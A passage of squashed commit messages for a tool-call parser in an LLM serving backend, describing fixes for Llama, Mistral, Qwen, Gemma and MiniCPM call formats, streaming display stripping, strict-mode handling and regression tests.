  pytest studio/backend/tests/test_safetensors_tool_loop.py \
         studio/backend/tests/test_safetensors_capability_advertise.py -q
  -> 118 passed.
Regression replay (parser + _coerce_arguments on the 5 #5615 inputs)
  -> 21/21.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: parser robustness fixes for PR #5620

Three surgical extensions to the multi-format tool-call parser, each
covering a real fine-tune / template emission shape that the current
parser silently drops. No path narrows; all changes widen what is
accepted.

1. `_parse_tool_call_json` now accepts both `arguments` and
   `parameters` keys. A Hermes / Qwen `<tool_call>{json}</tool_call>`
   wrapper around a Llama-3.2 fine-tune that emits the `parameters`
   key was extracting the tool name and silently discarding the
   args, producing a working-shaped call with an empty payload. The
   bare-JSON and python_tag paths already accepted both keys; this
   path now matches them.

2. `_TC_FUNC_START_RE`, `_TC_PARAM_START_RE`, and `_TC_PARAM_CLOSE_RE`
   now also match the attribute form
   `<function name="..."><param name="...">v</param></function>` used
   by MiniCPM-5 and MiniMax-M2. Names land in either capture group,
   and `</param>` is accepted as a short close.

3. `_parse_llama3_bare_json` sentinel-strip now consumes the role
   label inserted between `<|start_header_id|>` and
   `<|end_header_id|>` by Meta's official Llama-3.x chat template.
   Without this, every assistant turn re-fed through the template
   prefix `<|start_header_id|>assistant<|end_header_id|>\n\n{json}`
   parsed to zero calls, so any history-with-tool-call round-trip
   in production silently dropped.

Tests in `studio/backend/tests/test_safetensors_tool_loop.py`:

* `TestParserRobustness::test_tool_call_json_accepts_parameters_key`
* `TestParserRobustness::test_function_xml_attribute_form`
* `TestParserRobustness::test_function_xml_attribute_form_multi_param`
* `TestParserRobustness::test_function_xml_legacy_equals_form_still_works`
  (regression guard for the existing `<function=name>` syntax)
* `TestParserRobustness::test_llama3_chat_template_round_trip`
* `TestParserRobustness::test_llama3_round_trip_all_roles`
* `TestParserRobustness::test_llama3_round_trip_with_eot_prefix`

`pytest studio/backend/tests/test_safetensors_tool_loop.py
        studio/backend/tests/test_safetensors_capability_advertise.py -q`
goes from 118 to 125 passed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: terminate function-XML body at </function>, not just </tool_call>

`_parse_function_xml` was looking for `</tool_call>` (the Hermes
wrapper) as the body terminator. When a model emits a standalone
`<function=NAME><parameter=K>v</parameter></function>` followed by
explanatory prose (which models routinely do), no `</tool_call>` is
present, so the body extended to end-of-string and the trailing
prose leaked into the LAST parameter value.

Pre-existing on main (the legacy `<function=NAME>` form had this
bug too). Same affects PR #5620's new attribute-form
`<function name="NAME"><param name="K">v</param></function>`
emission used by MiniCPM-5 / MiniMax-M2.

Fix: `_TC_END_TAG_RE` now matches either `</tool_call>` OR
`</function>`. The existing `_TC_FUNC_CLOSE_RE` / `_TC_PARAM_CLOSE_RE`
strips are unchanged. Multi-call inputs still bound each function
at the next `<function=` start, so no over-eager consumption.

New tests:

* `test_function_xml_followed_by_prose` (legacy form + prose)
* `test_function_attribute_xml_followed_by_prose` (attribute form + prose)

Existing `test_code_with_embedded_xml` still passes (a parameter
value containing literal `<a></a>` is preserved because the
embedded close tag is `</a>`, not `</function>`).

`pytest studio/backend/tests/test_safetensors_tool_loop.py
        studio/backend/tests/test_safetensors_capability_advertise.py -q`
goes from 125 to 127 passed.

* Studio: tighten Llama-3.2 bare-JSON guard

A fuzz pass on PR #5811 turned up that ``_parse_llama3_bare_json``
accepted ``parameters`` as a string, contradicting the docstring's
"parameters or arguments is a dict" guard. Prose JSON like
``{"name":"foo","parameters":"a sentence"}`` would wrongly fire the
parser, which the agentic loop would then heal into a real
``foo(query="a sentence")`` call.

Same code lives on this branch, so the same fix applies here.

Tightened guard:

  - ``parameters`` must be a dict (Llama-3 spec).
  - ``arguments`` may be a dict, or a JSON-encoded string that
    decodes to a dict (OpenAI shape, e.g.
    ``"arguments":"{\"q\":\"x\"}"``). Plain non-JSON strings or
    JSON-strings of lists / scalars / null no longer pass.

Mirrors the fix landed in PR #5811 commit 615b8608. Adds the same
4 regression tests under TestParserMultiFormat.

Existing test suite stays green: 127 -> 131 passing.

* studio: fix safetensors tool-call parser gaps vs llama.cpp (Mistral CALL_ID / THINK, attribute-form signal)

Three GGUF-parity fixes to the safetensors tool-call parser, each matching
llama.cpp's reference behaviour:

- Mistral Small 3.2 emits [TOOL_CALLS]name[CALL_ID]<id>[ARGS]{json}. The
  parser stopped after the name on seeing [CALL_ID] (neither [ARGS] nor {),
  dropping the call. Skip an optional [CALL_ID]<id> segment in both the
  parse and strip paths. llama.cpp parses this (test-chat.cpp:4785).

- Magistral wraps reasoning in [THINK]...[/THINK]. A [TOOL_CALLS] inside the
  reasoning was parsed as a real call, producing a phantom call. Strip a
  leading [THINK] block before scanning so only the post-reasoning call
  counts (test-chat.cpp:2285); a literal [THINK] inside a later argument is
  left intact.

- The standalone MiniCPM-5 / MiniMax-M2 <function name="..."> attribute form
  parsed correctly but was absent from TOOL_XML_SIGNALS and the markup strip
  patterns, so the streaming safety-net parse was gated off (dropping the
  call) and markup leaked into displayed text. Add the signal and broaden
  the strip regexes.

Adds regression tests for all three.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: fire safetensors tool calls for the bare-JSON (Llama-3.2) form

The agentic loop's streaming safety-net parse was gated on
has_tool_signal(), which is False for the Llama-3.1 / 3.2 bare-JSON tool
form {"name":..,"parameters":..} (no XML marker). Real tool calls were
therefore dropped: the loop logged "model planned without calling tools",
re-prompted three times, then gave up with zero tool calls, while GGUF's
llama-server parses the same emission natively.

Run parse_tool_calls_from_text() unconditionally in the safety net. The
parser is strict (only fires on a valid tool-call shape) so plain answers
are unaffected. Reproduced on a real unsloth/Llama-3.1-8B-Instruct run:
the model emits {"name":"web_search","parameters":{...}} which now
executes the tool instead of being re-prompted into a no-op.

Adds a loop regression test for the bare-JSON form.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: complete strict-mode contract and fix parser import paths

Address review findings on the multi-format tool-call parser:

- Honor allow_incomplete=False in the remaining sub-parsers. The Llama-3
  <|python_tag|>NAME.call(...) parser, the pre-v11 Mistral [TOOL_CALLS] array
  parser, and the Gemma 4 <|tool_call> parser ignored strict mode, so a
  truncated call (missing closing paren, ], or <tool_call|>) was still healed
  and executed with Auto-Heal disabled. Thread strictness through and reject
  the unclosed forms, matching the JSON and function-XML paths.
- Drop the duplicate tool_call_parser import block in llama_cpp.py and the
  redundant un-aliased TOOL_XML_SIGNALS; only the _SHARED_TOOL_XML_SIGNALS
  alias is used as a value.
- Import _strip_mistral_closed_calls from core.inference.tool_call_parser in
  routes/inference.py instead of studio.backend.core... The self-contained
  run.py launch mode only puts studio/backend on sys.path, so the absolute
  package path raised ModuleNotFoundError on the server-tool strip path.

Add strict-mode regression tests for the truncated Llama-3 dot-call and the
unclosed Mistral array.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: preserve XML param indentation and alias Mistral array parameters

Two parser-correctness fixes found by auditing against the model chat templates
and the SGLang / vLLM reference parsers:

- Qwen3.5 XML parameter values lost their leading indentation. The chat template
  emits <parameter=k>\nVALUE\n</parameter>, but the parameter-start regex ate the
  wrapping newline AND the value's first-line indentation with a trailing \s*,
  then str.strip() removed the rest. Narrow the trailing class to horizontal
  whitespace only and trim exactly one wrapping newline (via _trim_param_value),
  preserving indentation in code/diff arguments. Matches SGLang's qwen3_coder
  detector. Applies to both _parse_function_xml (tool_call_parser.py) and the XML
  path in tool_healing.py.
- Mistral pre-v11 array objects keyed on parameters dropped their payload.
  _consume_mistral_call read only the arguments key; alias parameters the same way
  the JSON/XML paths and SGLang's base detector do.

Add regression tests for preserved multi-line indentation and the array
parameters alias.

* Studio: tighten tool-call parser comments

Make the comments in the multi-format tool-call parser and its callers succinct:
compress verbose docstrings/blocks to one or two lines, drop ones that restate the
code, and trim the tiny balanced-scanner helpers. Correctness rationale and
upstream provenance (SGLang/llama.cpp parity, the strict-mode / Auto-Heal
contract, whitespace-preservation, and the Unicode / full-width-pipe notes) are
kept in compact form.

Comment-only: no code or behavior change (verified with comment_tools.py check
--strip-docstrings; parser suite green).

* Studio: make Llama-3 .call and Mistral-array healing parsing linear

Two more O(n^2) ReDoS paths in the multi-format parser, both reachable from
the agentic loop on a long truncated body with no length cap:

- _LLAMA3_KV_RE.finditer over a .call(...) body retried at every offset of a
  long word run / unterminated quote (40K -> 14s). Replace with a hand-scan
  that reuses the same key/number/literal sub-regexes via anchored match and
  walks the string body by hand, so an unterminated quote is O(n). Verified
  byte-identical to the old regex over 200K fuzzed inputs.
- _parse_mistral_array healing ran _balanced_brace_end from every { in the
  body (20K -> 17s). Walk top-level objects, advancing past each balanced
  {...}; this also drops the phantom call the old scan emitted from a nested
  argument object.

Add adversarial-length linearity regressions plus positive .call kwargs and
unclosed-array recovery coverage.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: honor strict mode in safety-net, keep empty Gemma args, strip attribute-form function XML

- safetensors safety-net parser now forwards allow_incomplete=auto_heal_tool_calls,
  matching the draining path, so a late incomplete tool call is not healed and
  executed when Auto-Heal is off.
- Gemma empty bare value ({k:}) now serialises as "" instead of invalid {"k":},
  which previously dropped the whole call.
- Route _TOOL_XML_RE also strips the <function name="..."> attribute form
  (MiniCPM-5 / MiniMax-M2) so it no longer leaks to the UI.

* Studio: fix attribute-form function-XML literal close tag and zero-arg strict call

Addresses Codex review of the <function name="..."> attribute form in
_parse_function_xml (MiniCPM-5 / MiniMax-M2):
- End the call body at the LAST </function> / </tool_call> within the call's
  window, so a literal close tag inside a code/search argument (e.g.
  print("</function>")) is preserved instead of truncating the call.
- Accept a closed call with no parameters as a valid zero-argument call in strict
  mode (the function close is already required), instead of rejecting it as a
  truncated call.
- Tests for both, mirroring the legacy <function=...> coverage.

* Studio: fix tool-call parser/loop review findings on the multi-format path

Address the live code-review findings on the safetensors/MLX + GGUF tool path:

- routes: include the attribute form <function name="..."> in the safetensors
  capability whitelist so MiniCPM-5 / MiniMax-M2 templates keep the tool pill
  (parser already handles the form; the post-filter wrongly suppressed it).
- safetensors loop: build the plan-without-action re-prompt from the active
  tools instead of a hardcoded web_search/python string, and gate it on
  auto_heal_tool_calls, matching the GGUF loop.
- safetensors loop: hold a leading bare-JSON object ({"name":..,"parameters":..})
  during BUFFERING until it closes, then drain it as a tool call instead of
  streaming the raw JSON to clients. The DRAINING/STREAMING resolvers still
  recover a plain JSON answer, so this can never drop content.
- parser: anchor the Llama-3 <|python_tag|>NAME.call(...) scan to the tag and
  chain ; -separated calls, so all semicolon-separated built-ins parse and a
  literal <|python_tag|>x.call(...) inside a JSON string argument no longer
  fires the wrong tool.
- parser: consume the optional trailing </s> after a named Mistral
  [TOOL_CALLS]name{json} call, mirroring the array shape.
- GGUF streaming strip: use the shared parser patterns (which know
  [TOOL_CALLS] and <|python_tag|>) so a textual tool call entering DRAINING is
  stripped instead of leaking the marker to streaming clients.
- routes: hoist the _strip_mistral_closed_calls import to module level.

Adds regression tests covering each fix; existing parser suite stays green.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: harden multi-format tool-call detection from review findings

Apply five targeted fixes from the review pass over the multi-format tool
path:

- routes: route display strip delegates to _strip_tool_xml so Mistral
  [TOOL_CALLS] blocks with nested JSON are removed from streamed display
  text, not just the XML forms.
- tool_call_parser: skip function/parameter starts that fall inside an
  already-open parameter block (_inside_open_parameter) so nested example
  payloads are not mis-parsed as new calls; extract
  strip_llama3_leading_sentinels so the bare-JSON guard is shared.
- safetensors_agentic: probe bare JSON through strip_llama3_leading_sentinels
  before the balanced-brace check so a leaked header sentinel does not defeat
  the guard.
- tool_healing: allow dotted tool names in the Gemma wrapped start pattern.
- llama_cpp (GGUF): buffer wrapper-less Llama-3.2 {"name":..} calls that carry
  no XML signal, drain a complete object silently and hold an incomplete one,
  and run the end-of-stream safety net unconditionally so markerless calls are
  detected and never leak the raw JSON (including truncated fragments).

Adds regression tests for the GGUF bare-JSON streaming path and the Mistral
display strip.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: stop bare-JSON tool calls leaking at EOF, oversized, and into history

The second review pass flagged that the Llama-3.2 bare-JSON tool-call handling
still leaked raw JSON in several spots; ``strip_tool_markup`` only knows
XML/bracket markup, so the bare-JSON form survived it. Fix them symmetrically
across the safetensors and GGUF loops:

- Safetensors stream-end resolver now routes a held bare-JSON fragment to
  DRAINING (mirroring GGUF) so a truncated ``{"name":..`` cut off by the end of
  the stream is dropped instead of flushed as assistant content. The 7/10
  reviewer finding.
- Both loops now drain (suppress) an oversized still-open bare-JSON call once it
  passes ``_MAX_BARE_JSON_BUFFER`` instead of streaming the raw prefix, gated on
  a ``"name"`` key so a giant plain JSON answer still streams; a complete
  oversized call still executes via the safety net.
- Add a shared ``strip_leading_bare_json_call`` helper and apply it to the
  content kept for the assistant turn in both loops, so an executed bare-JSON
  call is not replayed as visible text or fed back as next-turn history.

Plain JSON answers without a ``"name"`` key are untouched throughout. Adds
regression tests for the EOF, oversized, and next-turn cases on both backends
plus unit tests for the helper.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: bound the Llama-3 python_tag strip on real control sentinels

The route display strip's <|python_tag|> arm ran to the next <| of any kind.
A tool-call argument carrying a literal <|...|> token (for example <|cite|>
inside a string value) truncated the strip early and leaked the call tail into
the visible response. Narrow the stop condition to the genuine Llama control
sentinels (eot_id, eom_id, python_tag, start/end_header_id, begin_of_text,
finetune_right_pad_id) so embedded markup and JSON are consumed while real
header/turn boundaries still bound the strip.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: gate markerless bare JSON on enabled tools and close parser/strip asymmetries

The Llama-3.2 custom_tools bare-JSON form has no marker, so any JSON object with a
name key was read as a tool call. An ordinary JSON answer like
{"name":"Alice","parameters":{"age":30}} was misclassified as a call to a
disabled tool and dropped from the visible response. Gate the markerless form on
the enabled tool names (threaded through parse_tool_calls_from_text and
strip_leading_bare_json_call, supplied by both streaming loops): an object whose
name is not an enabled tool is ordinary content. The marker-based forms keep
their name-agnostic behaviour (an explicit signal is a real call attempt), and
unrestricted mode stays ungated.

Also fix two parser/strip asymmetries the parser already tolerated:
- A literal </function> inside a parameter value (print("</function>")) truncated
  both the core and route strips at the first close, leaking the tail. Extend the
  strip to the call's real close (last </function> before the next opener),
  mirroring the parser, without merging separate calls.
- The single-object Mistral [TOOL_CALLS]{...} shape parsed but _strip_mistral_closed_calls
  left it, leaking the raw object into display. Strip the balanced object while
  keeping trailing prose, matching the array and name shapes.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio tools: gate GGUF bare-JSON suppression on enabled tools and fix python-tag exponent parsing

Pass-4 review follow-ups on the GGUF tool loop and Llama-3 parser:

- The GGUF bare-JSON suppression sites still keyed off a raw "name" substring,
  so an ordinary JSON answer whose name is not an enabled tool was dropped when
  it was truncated, oversized, or reached the no-tool DRAINING fallback (the
  parser, helper, and safetensors paths were already gated). All three sites now
  use the shared enabled-name gate, and a held bare-JSON buffer that turns out not
  to be an enabled call is shown as the answer instead of dropped at stream end.
- The Llama-3 python-tag numeric kwarg regex matched only the mantissa, so
  scientific notation was truncated to its leading digits (1e-3 parsed as 1) and a
  tool executed with the wrong value. The regex now accepts exponent and decimal
  forms, and the int/float classification keys off the exponent too.

Adds regression tests for the truncated / oversized disabled-name JSON cases (and
a counterpart that a truncated enabled call still does not leak) plus the
scientific-notation kwargs.

* Studio tools: gate safetensors bare-JSON drain, fix nested-name gate and function-XML strip

Pass-4 review follow-ups on the shared parser / safetensors loop:

- The safetensors oversized and end-of-stream bare-JSON drain branches keyed off
  a raw "name" substring, so a large or truncated ordinary JSON answer whose name
  is not an enabled tool was drained instead of streamed. Both now use the shared
  enabled-tool-name gate, matching the GGUF path.
- strip_leading_bare_json_call matched the first "name" anywhere, so a plain JSON
  answer with a nested name equal to an enabled tool ({"result":{"name":"web_search"}})
  was wrongly suppressed. It now extracts the TOP-LEVEL name only, walking past
  nested objects/arrays and keeping the text when a top-level value is truncated.
- The function-XML display strip used a regex negative-lookahead that stopped at a
  literal <function=...> opener inside a parameter value and then dropped the rest
  of the answer to EOF. A scan-based strip mirrors the parser (ignores openers
  inside an open <parameter> via _inside_open_parameter) and closes each call at its
  real </function>, so trailing assistant text after such a call survives.

Adds regression tests for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tool parsing: 3.9 import safety, disabled-Auto-Heal contract, capability gate

Round-2 review follow-ups on the multi-format tool-call parser:

- tool_call_parser: add `from __future__ import annotations`. The module
  is dependency-light by design (external llama-server wrappers import it
  standalone) and the package targets python >=3.9, where its PEP 604
  `int | None` return annotations would raise TypeError on import.
- safetensors + GGUF drain fallback: gate the leading bare-JSON strip on
  auto_heal_tool_calls. With Auto-Heal off, a truncated enabled-name
  fragment that did not parse now stays visible, matching the XML strip
  in the same branch and the disabled-Auto-Heal contract. With Auto-Heal
  on it is still suppressed.
- safetensors capability gate: match the bare-JSON `{"name":` template
  marker with a whitespace/escape-tolerant regex so a pretty-printed
  `{ "name" :` or JSON-escaped `{\"name\":` template is not mis-classified
  as tool-less. The parser already accepts that whitespace via
  raw_decode, so the gate must too.

Regression tests added for each case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tool parsing: symmetric "function" bare-JSON alias and route strip parity

Round-3 review follow-ups, all parser/strip symmetry fixes.

- Bare-JSON "function" alias: the markerless parser accepts a call name via
  obj.get("name") or obj.get("function"), but the strip/gates only knew "name",
  so a {"function":<enabled tool>} call executed while its raw JSON leaked. Teach
  _top_level_bare_json_name the alias (with "name" precedence and the same nested
  and truncated-name guards), and widen the guards in strip_leading_bare_json_call,
  the safetensors and GGUF _looks_like_enabled_bare_json gates, and the route
  capability marker regex.
- Route display/history cleanup: strip a tail-only </param> alias close (the
  parser accepts <param name="...">...</param>), and run the parser's guarded
  function-XML scan (_inside_open_parameter) before _TOOL_XML_RE so a literal
  nested <function=...></function> inside an argument value does not truncate the
  strip and leak the tail.

Regression tests added for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio tools: honor tool budget in GGUF loop and guard function-XML streaming strip

Round 4 review fixes. Both are asymmetric-fix bugs where the final/steady path got a
guard the analogous streaming/loop path did not.

- GGUF tool-call budget: the safetensors loop counts real tool-call turns against
  max_tool_iterations (re-prompt stalls excepted), but the GGUF loop only bounded the
  turn count by the enlarged range (max_tool_iterations + _MAX_REPROMPTS). Since this
  PR raised _MAX_REPROMPTS from 1 to 3, a model that keeps making valid tool calls
  could run up to three extra tool rounds (with max_tool_iterations=1, four rounds
  instead of one). Add a _tool_iters_done counter that increments only when a tool
  actually executed in the turn, and stop once the caller's budget is spent so the
  post-loop final-answer nudge fires. A duplicate/disabled no-op turn is a correction
  turn (like a plan-without-action re-prompt) and does not consume budget, preserving
  the existing "already completed" re-prompt behavior.

- Streaming display strip: the final strip runs the guarded _strip_function_xml_calls
  scanner (a literal <function=...> inside a parameter value is data, not a nested
  call), but the GGUF and safetensors streaming strips still used only the open-ended
  regex arms. When a tool-call argument contained literal function markup, the regex
  tail ate everything to end-of-text and dropped the real trailing prose after the
  call's true </function>. Run the guarded scanner (and the balanced Mistral strip)
  before the regex arms in both streaming paths so streaming and final display agree.

Adds regression tests: GGUF valid tool calls respect max_tool_iterations, and the
streaming strip keeps trailing prose after a function-XML call with a literal marker.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio tools: safetensors tool budget counts only executed turns (GGUF parity)

Follow-up to the GGUF budget fix. The safetensors loop charged max_tool_iterations
per non-re-prompt iteration (iteration + 1 - reprompt_count), so a duplicate/disabled
no-op turn spent a budget slot even though no tool ran. With a small cap this dropped
real work: for max_tool_iterations=2, a model that made a valid call, repeated it (an
internal no-op correction turn), then made a distinct valid call executed only the
first -- the third turn was sent with no tools and the distinct call was ignored.

Track whether a turn actually executed a tool (set on record_result) and count only
those turns against the cap, matching the GGUF loop. A duplicate/disabled no-op is a
correction turn -- like a plan-without-action re-prompt -- and no longer consumes
budget, so the model still gets its "already completed" nudge and another tool-enabled
turn. Adds a regression test for the small-cap duplicate-then-distinct-call flow.

* Studio: render the reasoning block for safetensors and MLX like GGUF

enable_thinking chat templates (Qwen3/Qwen3.5/GLM) prefill an unclosed <think>
into the generation prompt, so the model emits only the closing </think> then
the answer. The safetensors/MLX chat stream emitted that as plain content, so
the reasoning showed inline with no collapsible thinking block, while GGUF
(which surfaces reasoning via reasoning_content) rendered one. This brings
safetensors and MLX to parity.

- _ResponsesReasoningExtractor gains a reasoning_prefilled mode that starts
  inside the reasoning block and splits on the first </think>; default False
  keeps GGUF and every existing caller byte-identical. It suppresses a stray
  re-emitted <think> and holds partial markers back across chunk boundaries.
- _sf_reasoning_prefill_mode gates the mode on reasoning being enabled for the
  request, an enable_thinking or enable_thinking_effort style, and the template
  actually using the standard <think>/</think> markers. Models with a bespoke
  reasoning channel (e.g. gemma's <|think|>/<|channel>) are excluded so their
  answer is never swallowed; gpt-oss (Harmony) and thinking-off requests are
  excluded too.
- sf_tool_stream and stream_chunks (the latter also serves MLX) feed text
  through the extractor, emitting reasoning_content then content deltas, with a
  per-turn reset in the tool loop and a flush before each tool_start; only the
  visible delta reaches the monitor reply. The two non-streaming drains split
  reasoning_content the same way.
- Tests: extractor prefilled mode (streaming and edge cases), the gate matrix
  including the gemma-style exclusion, and a route-replay of the tool-loop
  reasoning stream.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: don't force a tool re-prompt on a negated intent (safetensors parity)

The safetensors _INTENT_SIGNAL claimed to mirror GGUF but was missing the
negative lookahead, so a refusal like "I will not search the web for that"
matched the "i will" intent and triggered the plan-without-action re-prompt
(STOP... you MUST call a tool), overriding a valid no-tool answer. GGUF already
excludes not/never. Add the same (?!\s+(?:not|never)\b) lookahead so both
backends agree. Extends the intent parity test with negated refusals.

* Studio: trim redundant comments (comment-only, AST-verified)

* Studio: prevent Gemma tool-parser DoS on stray delimiters

_gemma_parse_value returned the input index unchanged when text[i] was a
stray delimiter (,}]), so the list and mapping caller loops that advance
on the returned index spun forever at 100% CPU on malformed input such as
[},]. Advance past the delimiter so parsing always terminates.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: strip Magistral [THINK] reasoning from final display/history

strip_tool_markup removed [TOOL_CALLS] and <function> markup but left a
leading Magistral [THINK]...[/THINK] block intact, so its bracket-form
reasoning (not the <think> the reasoning channel renders) leaked into the
safetensors display and conversation history while GGUF/llama.cpp routes
it natively. Drop the leading reasoning block at end-of-turn (final=True)
via the existing _strip_mistral_reasoning helper; streaming is untouched.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Honor reasoning_effort none in safetensors prefill; strip Magistral reasoning while streaming

Two safetensors/MLX reasoning fixes surfaced in review:

_sf_reasoning_prefill_mode only checked enable_thinking, so an
enable_thinking_effort (GLM-5.2) request that disables thinking via
reasoning_effort=none (without enable_thinking=False) still began in
prefilled-<think> mode. A plain answer with no </think> was then swallowed
whole into reasoning_content and the visible response came back empty. Thread
reasoning_effort into the predicate and treat none as disabled, mirroring
_request_reasoning_kwargs.

strip_tool_markup_streaming stripped tool markup but not the leading Magistral
[THINK]...[/THINK] bracket block, so the raw chain-of-thought leaked into the
streamed safetensors content instead of the reasoning drawer (GGUF routes it
natively). Apply _strip_mistral_reasoning first, matching the final strip; an
unclosed [THINK] is held from the marker on so nothing flickers.

* Mistral outer call wins over XML literals; align healer signals with its parser

Two follow-ups on the shared-parser ordering after the healing-passthrough
merge:
- A well-formed [TOOL_CALLS] call whose JSON arguments quote tool XML parsed
  the literal instead of the outer call (executing the wrong tool). When the
  first XML signal sits inside a leading balanced Mistral body it is argument
  data, so the Mistral parser now runs first; an XML signal before the trigger
  keeps the normal order, so a [TOOL_CALLS] literal inside an XML call's
  arguments still stays data.
- passthrough_healing buffered streams on the parser module's broadened signal
  list (now including <|python_tag|> and [TOOL_CALLS]) but promotes with
  core.tool_healing, which does not parse those forms: a streamed Mistral or
  Llama text call was held until finalization and flushed as prose. The healer
  keeps its own signal list limited to the formats it can promote, restoring
  immediate streaming for the rest.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: leading envelopes win over rehearsed literals

- New _first_foreign_tool_signal shared by the leading-envelope guards adds
  <|python_tag|> to the protected signal set: the spelled-out literal inside a
  Mistral call's arguments (a query about Llama built-in tool syntax) executed
  the inner literal instead of the outer call.
- New _xml_signal_inside_leading_bare_json guard, sibling of the Mistral one:
  a leading bare-JSON call whose string argument quotes tool XML (a code value
  citing <function=...>) had the literal promoted by the shared XML pass
  before the bare-JSON parser ran.
- Magistral [THINK]...[/THINK] is dropped once at parse entry instead of only
  inside the Mistral parser, so a call rehearsed in the think block in a
  foreign format can no longer be promoted while the real call after the
  block is lost. Parse now agrees with the display strip.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: a disabled leading bare-JSON object keeps its literals as data

When the leading bare-JSON object is ordinary content (name not an enabled
tool), the guard proved the first tool signal sits inside it, so falling
through to the XML/python_tag passes promoted quoted string data as a real
call. Drop the object and parse only the tail: a real call after the object
still parses, nothing inside it can be promoted.

* Address review: Mistral literals inside leading JSON, whitespace-tolerant wrapped Gemma opener

- The leading bare-JSON guard now treats the [TOOL_CALLS] trigger as a
  foreign signal: the Mistral parser runs before the bare-JSON one, so a
  literal quoted inside the leading object's strings was promoted over the
  outer call (or over ordinary JSON content).
- tool_healing's wrapped Gemma opener tolerates whitespace around call and
  the colon: sampling drift emits call: name{ and call : name{, and
  rejecting those lost the call entirely because no fallback re-parses the
  wrapped form. Strict mode still requires the closing tag.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: accept dotted Gemma argument keys in the key-quoting scanner

The scanner quoted keys of [alnum_-] only, so a dotted key (user.name:...)
was left unquoted, json.loads failed, and the whole wrapped call was lost
(parse empty, strip wipes the markup). Dots now match the parser's own
key/name charset.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: leading Mistral call owns the turn, dotted keys after bare values

- A LEADING parseable [TOOL_CALLS] call now runs the Mistral parser first
  unconditionally: literal XML in trailing prose after the call was promoted
  by the earlier shared XML pass, executing the quoted example instead of
  the real leading call. XML leading keeps the normal order.
- _GEMMA_NEXT_KEY_RE accepts dots so a dotted key after a bare value
  (query:foo,user.name:bob) ends the value at the comma instead of being
  swallowed into it, matching the round-earlier key-quoting charset.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: markup quoted inside a nameless leading JSON answer stays data

The leading bare-JSON guard required a top-level name, so a structured JSON
answer quoting tool markup in its strings (a response_format turn
documenting a tool's syntax) had the literal promoted by the later passes.
A nameless leading object that parses as real JSON now routes through the
same decline-then-parse-the-tail path; non-JSON braced prose keeps the old
behaviour, and a real call after the answer still parses.

* Compress docstrings in the multi-format tool parser to their contract essence

* verify_import_hoist: exempt __future__ imports and same-diff relocations

Two false positives fired on this PR's refactor. A from __future__ import
is a compiler directive whose name never appears as a runtime load, so
HOISTED-IMPORT-UNUSED can never see it used, yet the file requires it for
PEP 604 annotations on Python 3.9. TARGET-CHANGED flagged the deliberate
move of the strip-pattern constants into core.inference.tool_call_parser
as a silent re-point even though the old module-level target was removed
and the new one added in the same diff. Both get narrow exemptions; a
re-point to a pre-existing target is still caught, and the self-test
negative controls all pass unchanged.

* Leading bare-JSON calls own the turn; function calls end at the first balanced close

The XML-signal guard for a leading bare-JSON call required the signal
strictly inside the object, so a trailing XML example stole the turn
from the leading call; it now applies the same inside-or-after rule as
the Mistral guard. Function-XML calls also ended at the LAST close tag,
which let prose after a closed call that mentions a literal close tag
get swallowed into the final parameter value; calls now end at the
first close tag that is not inside an open parameter, and the strip
mirrors the same rule so parse and strip agree.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Attribute-form calls end at the first balanced close; bare-JSON strip requires the call shape

The attribute form parser still kept the last close tag in the call
window, folding prose after a closed call into the final parameter
value. It now takes the first close not inside an open parameter, the
same rule the equals form and the strip already use.

The leading bare-JSON strip deleted any closed object whose top-level
name matched an enabled tool, including plain JSON answers the parser
correctly rejects as non-calls. The strip (and the drain gate that
delegates to it) now requires the parser's exact call shape, so answers
like {"name":"web_search","result":...} stream and display intact.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* False-alarm markers keep the answer; the bare-JSON strip consumes the whole chain

The trailing strip arms dropped everything from a bare marker to EOF,
so a normal answer that mentions [TOOL_CALLS] or another marker
literally was truncated (or fully swallowed when it started with the
literal) after the no-call drain fallback. Those arms now require a
call-shaped lookahead or marker-at-EOF before dropping; truncated real
calls still strip.

Chained bare-JSON turns executed both calls but stripped only the first
object, so the second call's raw JSON replayed into the next assistant
history message alongside the structured tool_calls. The strip now
consumes the entire chained run of call-shaped enabled objects while
non-call answers, disabled names, and trailing prose stay intact.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Attribute-form containment, parameter-close-decides rule, preamble-tolerant Mistral guard, strict strip shape

